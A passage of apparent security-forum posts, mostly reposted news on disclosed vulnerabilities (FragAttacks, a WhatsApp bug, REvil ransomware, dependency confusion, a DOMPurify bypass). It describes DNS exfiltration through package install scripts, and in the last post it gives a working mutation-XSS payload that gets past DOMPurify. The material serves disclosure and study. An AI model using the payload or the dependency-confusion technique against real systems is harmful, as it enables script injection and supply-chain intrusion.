akkiliON

O vulnerabilitate pe care am descoperit-o in https://www.xoom.com/. Aplicatia este detinuta de cei de la PayPal. Este o problema mai veche. Recompensa: 5,300$

Three design and multiple implementation flaws have been disclosed in IEEE 802.11 technical standard that undergirds Wi-Fi, potentially enabling an adversary to take control over a system and plunder confidential data. Called FragAttacks (short for FRgmentation and AGgregation Attacks), the weaknesses impact all Wi-Fi security protocols, from Wired Equivalent Privacy (WEP) all the way to Wi-Fi Protected Access 3 (WPA3), thus virtually putting almost every wireless-enabled device at risk of attack. "An adversary that is within radio range of a victim can abuse these vulnerabilities to steal user information or attack devices," Mathy Vanhoef, a security academic at New York University Abu Dhabi, said. "Experiments indicate that every Wi-Fi product is affected by at least one vulnerability and that most products are affected by several vulnerabilities." IEEE 802.11 provides the basis for all modern devices using the Wi-Fi family of network protocols, allowing laptops, tablets, printers, smartphones, smart speakers, and other devices to communicate with each other and access the Internet via a wireless router. Introduced in January 2018, WPA3 is a third-generation security protocol that's at the heart of most Wi-Fi devices with several enhancements such as robust authentication and increased cryptographic strength to safeguard wireless computer networks. According to Vanhoef, the issues stem from "widespread" programming mistakes encoded in the implementation of the standard, with some flaws dating all the way back to 1997. The vulnerabilities have to do with the way the standard fragments and aggregates frames, allowing threat actors to inject arbitrary packets and trick a victim into using a malicious DNS server, or forge the frames to siphon data. The list of 12 flaws is as follows — CVE-2020-24588: Accepting non-SPP A-MSDU frames CVE-2020-24587: Reassembling fragments encrypted under different keys CVE-2020-24586: Not clearing fragments from memory when (re)connecting to a network CVE-2020-26145: Accepting plaintext broadcast fragments as full frames (in an encrypted network) CVE-2020-26144: Accepting plaintext A-MSDU frames that start with an RFC1042 header with EtherType EAPOL (in an encrypted network) CVE-2020-26140: Accepting plaintext data frames in a protected network CVE-2020-26143: Accepting fragmented plaintext data frames in a protected network CVE-2020-26139: Forwarding EAPOL frames even though the sender is not yet authenticated CVE-2020-26146: Reassembling encrypted fragments with non-consecutive packet numbers CVE-2020-26147: Reassembling mixed encrypted/plaintext fragments CVE-2020-26142: Processing fragmented frames as full frames CVE-2020-26141: Not verifying the TKIP MIC of fragmented frames A bad actor can leverage these flaws to inject arbitrary network packets, intercept and exfiltrate user data, launch denial-of-service attacks, and even possibly decrypt packets in WPA or WPA2 networks. "If network packets can be injected towards a client, this can be abused to trick the client into using a malicious DNS server," Vanhoef explained in an accompanying research paper. "If network packets can be injected towards an [access point], the adversary can abuse this to bypass the NAT/firewall and directly connect to any device in the local network." In a hypothetical attack scenario, these vulnerabilities can be exploited as a stepping stone to launch advanced attacks, permitting an attacker to take over an outdated Windows 7 machine inside a local network. But on a brighter note, the design flaws are hard to exploit as they require user interaction or are only possible when using uncommon network settings. The findings have been shared with the Wi-Fi Alliance, following which firmware updates were prepared during a 9-month-long coordinated disclosure period. Microsoft, for its part, released fixes for some of the flaws (CVE-2020-24587, CVE-2020-24588, and CVE-2020-26144) as part of its Patch Tuesday update for May 2021. Vanhoef said an updated Linux kernel is in the works for actively supported distributions. This is not the first time Vanhoef has demonstrated severe flaws in the Wi-Fi standard. In 2017, the researcher disclosed what's called KRACKs (Key Reinstallation AttACKs) in WPA2 protocol, enabling an attacker to read sensitive information and steal credit card numbers, passwords, messages, and other data. "Interestingly, our aggregation attack could have been avoided if devices had implemented optional security improvements earlier," Vanhoef concluded. "This highlights the importance of deploying security improvements before practical attacks are known. The two fragmentation based design flaws were, at a high level, caused by not adequately separating different security contexts. From this we learn that properly separating security contexts is an important principle to take into account when designing protocols." Mitigations for FragAttacks from other companies like Cisco, HPE/Aruba Networks, Juniper Networks, and Sierra Wireless can be accessed in the advisory released by the Industry Consortium for Advancement of Security on the Internet (ICASI). "There is no evidence of the vulnerabilities being used against Wi-Fi users maliciously, and these issues are mitigated through routine device updates that enable detection of suspect transmissions or improve adherence to recommended security implementation practices," the Wi-Fi Alliance said. Found this article interesting? Follow THN on Facebook, Twitter  and LinkedIn to read more exclusive content we post. Source: https://thehackernews.com/2021/05/nearly-all-wifi-devices-are-vulnerable.html

Facebook-owned WhatsApp recently addressed two security vulnerabilities in its messaging app for Android that could have been exploited to execute malicious code remotely on the device and even exfiltrate sensitive information. The flaws take aim at devices running Android versions up to and including Android 9 by carrying out what's known as a "man-in-the-disk" attack that makes it possible for adversaries to compromise an app by manipulating certain data being exchanged between it and the external storage. "The two aforementioned WhatsApp vulnerabilities would have made it possible for attackers to remotely collect TLS cryptographic material for TLS 1.3 and TLS 1.2 sessions," researchers from Census Labs said today. "With the TLS secrets at hand, we will demonstrate how a man-in-the-middle (MitM) attack can lead to the compromise of WhatsApp communications, to remote code execution on the victim device and to the extraction of Noise protocol keys used for end-to-end encryption in user communications." In particular, the flaw (CVE-2021-24027) leverages Chrome's support for content providers in Android (via the "content://" URL scheme) and a same-origin policy bypass in the browser (CVE-2020-6516), thereby allowing an attacker to send a specially-crafted HTML file to a victim over WhatsApp, which, when opened on the browser, executes the code contained in the HTML file. Worse, the malicious code can be used to access any resource stored in the unprotected external storage area, including those from WhatsApp, which was found to save TLS session key details in a sub-directory, among others, and as a result, expose sensitive information to any app that's provisioned to read or write from the external storage. "All an attacker has to do is lure the victim into opening an HTML document attachment," Census Labs researcher Chariton Karamitas said. "WhatsApp will render this attachment in Chrome, over a content provider, and the attacker's Javascript code will be able to steal the stored TLS session keys." Armed with the keys, a bad actor can then stage a man-in-the-middle attack to achieve remote code execution or even exfiltrate the Noise protocol key pairs — which are used to operate an encrypted channel between the client and server for transport layer security (and not the messages themselves, which are encrypted using the Signal protocol) — gathered by the app for diagnostic purposes by deliberately triggering an out of memory error remotely on the victim's device. When this error is thrown, WhatsApp's debugging mechanism kicks in and uploads the encoded key pairs along with the application logs, system information, and other memory content to a dedicated crash logs server ("crashlogs.whatsapp.net"). But it's worth noting that this only occurs on devices that run a new version of the app, and "less than 10 days have elapsed since the current version's release date." Although the debugging process is designed to be invoked to catch fatal errors in the app, the idea behind the MitM exploit is to programmatically cause an exception that will force the data collection and set off the upload, only to intercept the connection and "disclose all the sensitive information that was intended to be sent to WhatsApp's internal infrastructure." To defend against such attacks, Google introduced a feature called "scoped storage" in Android 10, which gives each app an isolated storage area on the device in a way that no other app installed on the same device can directly access data saved by other apps. The cybersecurity firm said it has no knowledge on whether the attacks have been exploited in the wild, although in the past, flaws in WhatsApp have been abused to inject spyware onto target devices and snoop on journalists and human rights activists. WhatsApp users are recommended to update to version 2.21.4.18 to mitigate the risk associated with the flaws. When reached for a response, the company reiterated that the "keys" that are used to protect people's messages are not being uploaded to the servers and that the crash log information does not allow it to access the message contents. "There are many more subsystems in WhatsApp which might be of great interest to an attacker," Karamitas said. "The communication with upstream servers and the E2E encryption implementation are two notable ones. Additionally, despite the fact that this work focused on WhatsApp, other popular Android messaging applications (e.g. Viber, Facebook Messenger), or even mobile games might be unwillingly exposing a similar attack surface to remote adversaries." Sursă: https://thehackernews.com/2021/04/new-whatsapp-bug-couldve-let-attackers.html

Prominent Apple supplier Quanta on Wednesday said it suffered a ransomware attack from the REvil ransomware group, which is now demanding the iPhone maker pay a ransom of $50 million to prevent leaking sensitive files on the dark web. In a post shared on its deep web "Happy Blog" portal, the threat actor said it came into possession of schematics of the U.S. company's products such as MacBooks and Apple Watch by infiltrating the network of the Taiwanese manufacturer, claiming it's making a ransom demand to Apple after Quanta expressed no interest in paying to recover the stolen blueprints. "Our team is negotiating the sale of large quantities of confidential drawings and gigabytes of personal data with several major brands," the REvil operators said. "We recommend that Apple buy back the available data by May 1." Since first detected in June 2019, REvil (aka Sodinokibi or Sodin) has emerged as one of the most prolific ransomware-as-a-service (RaaS) groups, with the gang being the first to adopt the so-called technique of "double extortion" that has since been emulated by other groups to maximize their chances of making a profit. The strategy seeks to pressure victim companies into paying up mainly by publishing a handful of files stolen from their extortion targets prior to encrypting them and threatening to release more data unless and until the ransom demand is met. The main actor associated with advertising and promoting REvil on Russian-language cybercrime forums is called Unknown, aka UNKN. The ransomware is also operated as an affiliate service, wherein threat actors are recruited to spread the malware by breaching corporate network victims, while the core developers take charge of maintaining the malware and payment infrastructure. Affiliates typically receive 60% to 70% of the ransom payment. Ransomware operators have netted more than $350m in 2020, a 311% jump from the previous year, according to blockchain analysis company Chainalysis. The latest development also marks a new twist in the double extortion game, in which a ransomware cartel has gone after a victim's customer following an unsuccessful attempt to negotiate ransom with the primary victim. We have reached out to Quanta for comment, and we will update the story if we hear back. However, in a statement shared with Bloomberg, the company said it worked with external IT experts in response to "cyber attacks on a small number of Quanta servers," adding "there's no material impact on the company's business operation." Found this article interesting? Follow THN on Facebook, Twitter  and LinkedIn to read more exclusive content we post. Sursă: https://thehackernews.com/2021/04/hackers-threaten-to-leak-stolen-apple.html

Datele de acces și numerele de telefon din imaginile postate de ministrul Nicolae Ciucă au fost blurate de digi24.ro. Ministrul Apărării, Nicolae Ciucă, a publicat pe contul său de Facebook o serie de imagini din Academia Forțelor Terestre „Nicolae Bălcescu”, din Sibiu, pe care o vizitase în cursul zilei de marți. Însă în una dintre aceste poze apar și date de acces ale unor conturi și videoconferințe plus numere de telefon folosite de angajați ai unui call center MApN din Sibiu. ACTUALIZARE "Fotografiile au fost realizate în Call Center-ul MApN și imediat ce a fost semnalată situația au fost înlăturate de echipa de comunicare care administrează pagina oficială a ministrului. Vă informăm ca nu au existat accesări sau intenții de accesare. Parolele au fost schimbate imediat", a transmis Ministerul Apărării Naționale. "Împreună cu colegii mei parlamentari din comisiile de apărare am vizitat astăzi, la Sibiu, Academia Forțelor Terestre „Nicolae Bălcescu”, una dintre cele mai moderne instituții de învățământ universitar din România. Prima vizită în unități ale MApN a membrilor Comisiilor pentru apărare din Senat şi Camera Deputaților a fost într-o instituție de învățământ superior pentru a vedea care sunt valorile sistemului de formare, educare și dezvoltare a leadership-ului militar, acolo unde se pregătesc ofiţerii din cea mai numeroasă categorie de forţe a Armatei României. Împreună cu şeful Statului Major al Apărării, generalul-locotenent Daniel Petrescu, le-am prezentat parlamentarilor misiunile, prioritățile și programele de înzestrare ale Armatei României – în derulare și de perspectivă. Președinții celor două comisii, senatorul Nicoleta Pauliuc și deputatul Constantin Șovăială, cât şi parlamentarii prezenţi în delegație și-au exprimat disponibilitatea de a lua parte, în viitor, la mai multe astfel de activități, care au rolul de a aprofunda relațiile dintre Comisiile de apărare și Ministerul Apărării Naționale și de a dezvolta o colaborare fructuoasă în domeniul securității și apărării. Precizez că desfășurarea activității a fost adaptată actualului context pandemic, fiind respectate toate măsurile de distanțare și protecție sanitară", arată postarea ministrului, însoțită de imagini din interiorul clădirii Academiei Forțelor Terestre „Nicolae Bălcescu”, din Sibiu. Datele de logare afișate pe o tablă sunt ale persoanelor care lucrează în call-centerul Armatei din Sibiu. La câteva ore după postarea imaginii și a publicării în media, poza respectivă a fost scoasă. Însă aceasta a devenit virală, circulând pe social media. Sursa: https://www.digi24.ro/stiri/actualitate/social/gafa-a-ministrului-apararii-nicolae-ciuca-a-postat-din-greseala-pe-facebook-parole-de-acces-ale-unui-call-center-al-armatei-1473031 Shit happens. 🤣

Ever since I started learning how to code, I have been fascinated by the level of trust we put in a simple command like this one: Some programming languages, like Python, come with an easy, more or less official method of installing dependencies for your projects. These installers are usually tied to public code repositories where anyone can freely upload code packages for others to use. You have probably heard of these tools already — Node has npm and the npm registry, Python’s pip uses PyPI (Python Package Index), and Ruby’s gems can be found on… well, RubyGems. When downloading and using a package from any of these sources, you are essentially trusting its publisher to run code on your machine. So can this blind trust be exploited by malicious actors? Of course it can. None of the package hosting services can ever guarantee that all the code its users upload is malware-free. Past research has shown that typosquatting — an attack leveraging typo’d versions of popular package names — can be incredibly effective in gaining access to random PCs across the world. Other well-known dependency chain attack paths include using various methods to compromise existing packages, or uploading malicious code under the names of dependencies that no longer exist. The Idea While attempting to hack PayPal with me during the summer of 2020, Justin Gardner (@Rhynorater) shared an interesting bit of Node.js source code found on GitHub. The code was meant for internal PayPal use, and, in its package.json file, appeared to contain a mix of public and private dependencies — public packages from npm, as well as non-public package names, most likely hosted internally by PayPal. These names did not exist on the public npm registry at the time. With the logic dictating which package would be sourced from where being unclear here, a few questions arose: What happens if malicious code is uploaded to npm under these names? Is it possible that some of PayPal’s internal projects will start defaulting to the new public packages instead of the private ones? Will developers, or even automated systems, start running the code inside the libraries? If this works, can we get a bug bounty out of it? Would this attack work against other companies too? Without further ado, I started working on a plan to answer these questions. The idea was to upload my own “malicious” Node packages to the npm registry under all the unclaimed names, which would “phone home” from each computer they were installed on. If any of the packages ended up being installed on PayPal-owned servers — or anywhere else, for that matter — the code inside them would immediately notify me. At this point, I feel that it is important to make it clear that every single organization targeted during this research has provided permission to have its security tested, either through public bug bounty programs or through private agreements. Please do not attempt this kind of test without authorization. “It’s Always DNS” Thankfully, npm allows arbitrary code to be executed automatically upon package installation, allowing me to easily create a Node package that collects some basic information about each machine it is installed on through its preinstall script. To strike a balance between the ability to identify an organization based on the data, and the need to avoid collecting too much sensitive information, I settled on only logging the username, hostname, and current path of each unique installation. Along with the external IPs, this was just enough data to help security teams identify possibly vulnerable systems based on my reports, while avoiding having my testing be mistaken for an actual attack. One thing left now — how do I get that data back to me? Knowing that most of the possible targets would be deep inside well-protected corporate networks, I considered that DNS exfiltration was the way to go. Sending the information to my server through the DNS protocol was not essential for the test itself to work, but it did ensure that the traffic would be less likely to be blocked or detected on the way out. The data was hex-encoded and used as part of a DNS query, which reached my custom authoritative name server, either directly or through intermediate resolvers. The server was configured to log each received query, essentially keeping a record of every machine where the packages were downloaded. The More The Merrier With the basic plan for the attack in place, it was now time to uncover more possible targets. The first strategy was looking into alternate ecosystems to attack. So I ported the code to both Python and Ruby, in order to be able to upload similar packages to PyPI (Python Package Index) and RubyGems respectively. But arguably the most important part of this test was finding as many relevant dependency names as possible. A few full days of searching for private package names belonging to some of the targeted companies revealed that many other names could be found on GitHub, as well as on the major package hosting services — inside internal packages which had been accidentally published — and even within posts on various internet forums. However, by far the best place to find private package names turned out to be… inside javascript files. Apparently, it is quite common for internal package.json files, which contain the names of a javascript project’s dependencies, to become embedded into public script files during their build process, exposing internal package names. Similarly, leaked internal paths or require() calls within these files may also contain dependency names. Apple, Yelp, and Tesla are just a few examples of companies who had internal names exposed in this way. During the second half of 2020, thanks to @streaak’s help and his remarkable recon skills, we were able to automatically scan millions of domains belonging to the targeted companies and extract hundreds of additional javascript package names which had not yet been claimed on the npm registry. I then uploaded my code to package hosting services under all the found names and waited for callbacks. Results The success rate was simply astonishing. From one-off mistakes made by developers on their own machines, to misconfigured internal or cloud-based build servers, to systemically vulnerable development pipelines, one thing was clear: squatting valid internal package names was a nearly sure-fire method to get into the networks of some of the biggest tech companies out there, gaining remote code execution, and possibly allowing attackers to add backdoors during builds. This type of vulnerability, which I have started calling dependency confusion, was detected inside more than 35 organizations to date, across all three tested programming languages. The vast majority of the affected companies fall into the 1000+ employees category, which most likely reflects the higher prevalence of internal library usage within larger organizations. Due to javascript dependency names being easier to find, almost 75% of all the logged callbacks came from npm packages — but this does not necessarily mean that Python and Ruby are less susceptible to the attack. In fact, despite only being able to identify internal Ruby gem names belonging to eight organizations during my searches, four of these companies turned out to be vulnerable to dependency confusion through RubyGems. One such company is the Canadian e-commerce giant Shopify, whose build system automatically installed a Ruby gem named shopify-cloud only a few hours after I had uploaded it, and then tried to run the code inside it. The Shopify team had a fix ready within a day, and awarded a $30,000 bug bounty for finding the issue. Another $30,000 reward came from Apple, after the code in a Node package which I uploaded to npm in August of 2020 was executed on multiple machines inside its network. The affected projects appeared to be related to Apple’s authentication system, externally known as Apple ID. When I brought up the idea that this bug may have allowed a threat actor to inject backdoors into Apple ID, Apple did not consider that this level of impact accurately represented the issue and stated: However, Apple did confirm that remote code execution on Apple servers would have been achievable by using this npm package technique. Based on the flow of package installs, the issue was fixed within two weeks of my report, but the bug bounty was only awarded less than a day prior to publishing this post. The same theme of npm packages being installed on both internal servers and individual developer’s PCs could be observed across several other successful attacks against other companies, with some of the installs often taking place hours or even minutes after the packages had been uploaded. Oh, and the PayPal names that started it all? Those worked too, resulting in yet another $30k bounty. Actually, the majority of awarded bug bounties were set at the maximum amount allowed by each program’s policy, and sometimes even higher, confirming the generally high severity of dependency confusion bugs. Other affected companies include Netflix, Yelp and Uber. “It’s Not a Bug, It’s a Feature” Despite the large number of dependency confusion findings, one detail was — and still is, to a certain extent — unclear: Why is this happening? What are the main root causes behind this type of vulnerability? Most of the affected organizations were understandably reluctant to share further technical details about their root causes and mitigation strategies, but a few interesting details did emerge during my research and from my communication with security teams. For instance, the main culprit of Python dependency confusion appears to be the incorrect usage of an “insecure by design” command line argument called --extra-index-url. When using this argument with pip install library to specify your own package index, you may find that it works as expected, but what pip is actually doing behind the scenes goes something like this: Checks whether library exists on the specified (internal) package index Checks whether library exists on the public package index (PyPI) Installs whichever version is found. If the package exists on both, it defaults to installing from the source with the higher version number. Therefore, uploading a package named library 9000.0.0 to PyPI would result in the dependency being hijacked in the example above. Although this behavior was already commonly known, simply searching GitHub for --extra-index-url was enough to find a few vulnerable scripts belonging to large organizations — including a bug affecting a component of Microsoft’s .NET Core. The vulnerability, which may have allowed adding backdoors to .NET Core, was unfortunately found to be out of scope in the .NET bug bounty program. Ruby’s gem install --source also works in a similar way, but I was unable to confirm whether its usage was the root cause of any of my findings. Sure, changing --extra-index-url to --index-url is a quick and straight-forward fix, but some other variants of dependency confusion were proven much harder to mitigate. JFrog Artifactory, a piece of software widely used for hosting internal packages of all types, offers the possibility to mix internal and public libraries into the same “virtual” repository, greatly simplifying dependency management. However, multiple customers have stated that Artifactory uses the exact same vulnerable algorithm described above to decide between serving an internal and an external package with the same name. At the time of writing, there is no way to change this default behavior. JFrog is reportedly aware of the issue, but has been treating its possible fix as a “feature request” with no ETA in sight, while some of its customers have resorted to applying systemic policy changes to dependency management in order to mitigate dependency confusion in the meantime. Microsoft also offers a similar package hosting service named Azure Artifacts. As a result of one of my reports, some minor improvements have been made to this service to ensure that it can provide a reliable workaround for dependency confusion vulnerabilities. Funnily enough, this issue was not discovered by testing Azure Artifacts itself, but rather by successfully attacking Microsoft’s own cloud-based Office 365, with the report resulting in Azure’s highest possible reward of $40,000. For more in-depth information about root causes and prevention advice, you can check out Microsoft’s white paper “3 Ways to Mitigate Risk When Using Private Package Feeds”. Future Research? While many of the large tech companies have already been made aware of this type of vulnerability, and have either fixed it across their infrastructure, or are working to implement mitigations, I still get the feeling that there is more to discover. Specifically, I believe that finding new and clever ways to leak internal package names will expose even more vulnerable systems, and looking into alternate programming languages and repositories to target will reveal some additional attack surface for dependency confusion bugs. This being said, I wholeheartedly encourage you, no matter your level of experience, to take some time and give that idea in the back of your mind a try — whether it is related to dependency management security or not. Shout-outs @EdOverflow and @prebenve, who independently researched similar types of attacks before I did, but have unfortunately not published their findings yet Justin Gardner (@Rhynorater), for sharing the piece of code that sparked the initial idea, and for proofreading this post @streaak, for helping find many of the vulnerable targets, and being awesome to work with Ettic, the creators of the excellent tool dnsbin, which I have used to log DNS callbacks Ohm M., Plate H., Sykosch A., Meier M. (2020) “Backstabber’s Knife Collection: A Review of Open Source Software Supply Chain Attacks”. DIMVA 2020. Lecture Notes in Computer Science, vol 12223. Springer, Cham (source of the supply chain attack tree illustration) All of the companies who run public bug bounty programs, making it possible for us to spend time chasing ideas like this one. Thank you! Source: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

Hardware security keys—such as those from Google and Yubico—are considered the most secure means to protect accounts from phishing and takeover attacks. But a new research published on Thursday demonstrates how an adversary in possession of such a two-factor authentication (2FA) device can clone it by exploiting an electromagnetic side-channel in the chip embedded in it. The vulnerability (tracked as CVE-2021-3011) allows the bad actor to extract the encryption key or the ECDSA private key linked to a victim's account from a FIDO Universal 2nd Factor (U2F) device like Google Titan Key or YubiKey, thus completely undermining the 2FA protections. "The adversary can sign in to the victim's application account without the U2F device, and without the victim noticing," NinjaLab researchers Victor Lomne and Thomas Roche said in a 60-page analysis. "In other words, the adversary created a clone of the U2F device for the victim's application account. This clone will give access to the application account as long as the legitimate user does not revoke its second factor authentication credentials." The whole list of products impacted by the flaw includes all versions of Google Titan Security Key (all versions), Yubico Yubikey Neo, Feitian FIDO NFC USB-A / K9, Feitian MultiPass FIDO / K13, Feitian ePass FIDO USB-C / K21, and Feitian FIDO NFC USB-C / K40. Besides the security keys, the attack can also be carried out on NXP JavaCard chips, including NXP J3D081_M59_DF, NXP J3A081, NXP J2E081_M64, NXP J3D145_M59, NXP J3D081_M59, NXP J3E145_M64, and NXP J3E081_M64_DF, and their respective variants. The key-recovery attack, while doubtless severe, needs to meet a number of prerequisites in order to be successful. An actor will have first to steal the target's login and password of an account secured by the physical key, then stealthily gain access to Titan Security Key in question, not to mention acquire expensive equipment costing north of $12,000, and have enough expertise to build custom software to extract the key linked to the account. "It is still safer to use your Google Titan Security Key or other impacted products as a FIDO U2F two-factor authentication token to sign in to applications rather than not using one," the researchers said. To clone the U2F key, the researchers set about the task by tearing the device down using a hot air gun to remove the plastic casing and expose the two microcontrollers soldered in it — a secure enclave (NXP A700X chip) that's used to perform the cryptographic operations and a general-purpose chip that acts as a router between the USB/NFC interfaces and the authentication microcontroller. Once this is achieved, the researchers say it's possible to glean the ECDSA encryption key via a side-channel attack by observing the electromagnetic radiations coming off the NXP chip during ECDSA signatures, the core cryptographic operation of the FIDO U2F protocol that's performed when a U2F key is registered for the first time to work with a new account. A side-channel attack typically works based on information gained from the implementation of a computer system, rather than exploiting a weakness in the software. Often, such attacks leverage timing information, power consumption, electromagnetic leaks, and acoustic signals as a source of data leakage. By acquiring 6,000 such side-channel traces of the U2F authentication request commands over a six-hour period, the researchers said they were able to recover the ECDSA private key linked to a FIDO U2F account created for the experiment using an unsupervised machine learning model. Although the security of a hardware security key isn't diminished by the above attack due to the limitations involved, a potential exploitation in the wild is not inconceivable. "Nevertheless, this work shows that the Google Titan Security Key (or other impacted products) would not avoid [an] unnoticed security breach by attackers willing to put enough effort into it," the researchers concluded. "Users that face such a threat should probably switch to other FIDO U2F hardware security keys, where no vulnerability has yet been discovered." Found this article interesting? Follow THN on Facebook, Twitter  and LinkedIn to read more exclusive content we post. Source: https://thehackernews.com/2021/01/new-attack-could-let-hackers-clone-your.html

Ieri, cand am adaugat niste bani pe Revolut, trebuia sa ma loghez pe aplicatia celor de la ING (Home Bank) si sa confirm acest lucru...

Google has patched a bug in its feedback tool incorporated across its services that could be exploited by an attacker to potentially steal screenshots of sensitive Google Docs documents simply by embedding them in a malicious website. The flaw was discovered on July 9 by security researcher Sreeram KL, for which he was awarded $3133.70 as part of Google's Vulnerability Reward Program. Many of Google's products, including Google Docs, come with a "Send feedback" or "Help Docs improve" option that allows users to send feedback along with an option to include a screenshot — something that's automatically loaded to highlight specific issues. But instead of having to duplicate the same functionality across its services, the feedback feature is deployed in Google's main website ("www.google.com") and integrated to other domains via an iframe element that loads the pop-up's content from "feedback.googleusercontent.com." This also means that whenever a screenshot of the Google Docs window is included, rendering the image necessitates the transmission of RGB values of every pixel to the parent domain (www.google.com), which then redirects those RGB values to the feedback's domain, which ultimately constructs the image and sends it back in Base64 encoded format. Sreeram, however, identified a bug in the manner these messages were passed to "feedback.googleusercontent.com," thus allowing an attacker to modify the frame to an arbitrary, external website, and in turn, steal and hijack Google Docs screenshots which were meant to be uploaded to Google's servers. Notably, the flaw stems from a lack of X-Frame-Options header in the Google Docs domain, which made it possible to change the target origin of the message and exploit the cross-origin communication between the page and the frame contained in it. While the attack requires some form of user interaction — i.e. clicking the "Send feedback" button — an exploit could easily leverage this weakness to capture the URL of the uploaded screenshot and exfiltrate it to a malicious site. This can be achieved by embedding a Google Docs file in an iFrame on a rogue website and hijacking the feedback pop-up frame to redirect the contents to a domain of the attacker's choice. Failing to provide a target origin during cross-origin communication raises security concerns in that it discloses the data that's sent to any website. "Always specify an exact target origin, not *, when you use postMessage to send data to other windows," Mozilla documentation states. "A malicious site can change the location of the window without your knowledge, and therefore it can intercept the data sent using postMessage." Source: https://thehackernews.com/2020/12/a-google-docs-bug-could-have-allowed.html

Google's Project Zero team has made public details of an improperly patched zero-day security vulnerability in Windows print spooler API that could be leveraged by a bad actor to execute arbitrary code. Details of the unpatched flaw were revealed publicly after Microsoft failed to patch it within 90 days of responsible disclosure on September 24. Originally tracked as CVE-2020-0986, the flaw concerns an elevation of privilege exploit in the GDI Print / Print Spooler API ("splwow64.exe") that was reported to Microsoft by an anonymous user working with Trend Micro's Zero Day Initiative (ZDI) back in late December 2019. But with no patch in sight for about six months, ZDI ended up posting a public advisory as a zero-day on May 19 earlier this year, after which it was exploited in the wild in a campaign dubbed "Operation PowerFall" against an unnamed South Korean company. "splwow64.exe" is a Windows core system binary that allows 32-bit applications to connect with the 64-bit printer spooler service on 64-bit Windows systems. It implements a Local Procedure Call (LPC) server that can be used by other processes to access printing functions. Successful exploitation of this vulnerability could result in an attacker manipulating the memory of the "splwow64.exe" process to achieve execution of arbitrary code in kernel mode, ultimately using it to install malicious programs; view, change, or delete data; or create new accounts with full user rights. However, to achieve this, the adversary would first have to log on to the target system in question. Although Microsoft eventually addressed the shortcoming as part of its June Patch Tuesday update, new findings from Google's security team reveals that the flaw has not been fully remediated. "The vulnerability still exists, just the exploitation method had to change," Google Project Zero researcher Maddie Stone said in a write-up. "The original issue was an arbitrary pointer dereference which allowed the attacker to control the src and dest pointers to a memcpy," Stone detailed. "The 'fix' simply changed the pointers to offsets, which still allows control of the args to the memcpy." The newly reported elevation of privilege flaw, identified as CVE-2020-17008, is expected to be resolved by Microsoft on January 12, 2021, due to "issues identified in testing" after promising an initial fix in November. Stone has also shared a proof-of-concept (PoC) exploit code for CVE-2020-17008, based off of a POC released by Kaspersky for CVE-2020-0986. "There have been too many occurrences this year of zero-days known to be actively exploited being fixed incorrectly or incompletely," Stone said. "When [in the wild] zero-days aren't fixed completely, attackers can reuse their knowledge of vulnerabilities and exploit methods to easily develop new 0-days." Source: https://thehackernews.com/2020/12/google-discloses-poorly-patched-now.html

For those who are only interested in the final payload here you go (I won’t judge). For the ones interested in why it works, please bear with me. <form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(1) src>"> First of all, I would like to point out that this article and the bypass described here are heavily based on Michał Bentkowski (@SecurityMB) research. The original article and previous bypass who made it possible for me to find this new vector are available here. The article also contains all of the required foundations the reader may need to properly understand how and why the bypass described here works. It took me a few rounds of reading and playing with the LiveDOM++ tool, also provided by @SecurityMB, to really understand why Michał’s original bypass worked in the first place. Gareth Heyes (@garethheyes) also built upon Michał’s work and found a variation of the original bypass days after it got published. I also took my time with Gareth’s bypass to properly understand what was going on. What is DOMPurify? DOMPurify is a widely used HTML sanitizer library. It is mainly used to sanitize user input on web applications that permits the creation of HTML/Rich Text content. Think of a web-mail client or blog platform for example. A common usage pattern for DOMPurify is the following: let div = document.createElement('div'); const html='<some></non sanitized=1></html>'; const sanitized = DOMPurify.sanitize(html); div.innerHTML = sanitized; DOMPurifyUsageSample.js According to Michał’s article: The important takeaway is that the HTML markup is parsed twice and serialized into a string in between. Namespaces, and why they are important HTML is a markup language based on XML. XML utilizes the concept of namespaces. An HTML document, compliant with the current specification of HTML 5, may contain elements from three different namespaces. HTML (http://www.w3.org/1999/xhtml) SVG (http://www.w3.org/2000/svg) MathML (http://www.w3.org/1998/Math/MathML) Namespaces solve the ambiguity problem when a single XML document contains homograph elements and/or properties from different “vocabularies”. For example, all the previously listed specifications contain a tag named style. The style tag has different properties and rendering behaviors associated with it depending on the namespace it's used. This means that a browser will behave differently when it parses a style tag depending on its ancestors (Figure 1, Figure 2). Figure 2: style tag in the SVG namespace DOM mutation in a nutshell Although it may sound counter-intuitive, parsing and serializing a DOM fragment is not an idempotent operation. This means that in some cases, depending on how the fragment is constructed, the serialized version of a DOM tree won’t result in the same DOM tree when parsed. This double-parsing behavior is inherent to DOMPurify’s standard usage. However, some unexpected results from double-parsing DOM fragments are not unexpected at all, as they are documented in HTML’s current specification. One of these cases regards nested forms. A DOM fragment with nested form tags is not to be considered a valid construction according to HTML’s current specification. However, the following HTML fragment when parsed once will result in a DOM tree with nested forms. <form id="outer"> <div> </form> <form id="inner"> <input> Snippet 2: nested form mutation gadget nfgadget.html We can use the LiveDOM++ tool to inspect how the DOM behaves, before and after being sanitized with DOMPurify, when it is fed with the HTML fragment mentioned above. Figure 3: nested forms parsed twice As demonstrated, when parsed for the first time, the HTML fragment results in a non-compliant DOM tree containing nested form tags. After sanitizing it, DOMPurify will serialize the DOM tree and the resulting string will be parsed again by the browser. It is then possible to verify that the direct parenthood of the input tag is transferred the inner form tag to the outer form tag in the final fragment. We will refer to the type of HTML markup that results in a mutation that changes the direct parent of a tag as an ownership mutation gadget. The table tag can also be used to construct an ownership mutation gadget as shown below. Figure 4: table ownership mutation gadget In the example above the direct parent of the inner anchor tag is changed from the outer anchor to the div tag. Understanding how these gadgets behave is crucial to understanding the bypass construction. I recommend experimenting with the gadgets on LiveDOM++ to get a better understanding of how the gadgets behave. Foreign content By default, all elements in an HTML document must be parsed by a browser according to the rules defined by the HTML namespace; however, if the parser encounters a <svg> or <math> tag, it should then parse those elements and their descendants according to the SVG and MathML namespaces respectively. One also needs to consider that both the MathML and SVG namespaces support foreign content as well, meaning a chain of namespaces transitions can be built as shown below. Figure 5: html->svg->math->html transition chain Namespace confusion, putting it all together As mentioned before, homograph elements like the style tag have different properties and rendering rules depending on the namespace they are in. This means that if we use an ownership mutation gadget to change the direct parent of a homograph tag and cause its namespace to change, we can trick the sanitizer into producing a malicious serialized HTML fragment. That is exactly what Michał did. Michal’s original bypass used an ownership mutation gadget to change the direct parent of a mglyph tag from a form element in the HTML namespace to a mtext tag in the MathML namespace. This mutation results in the descendants of the mglyph element becoming members of the MathML namespace in 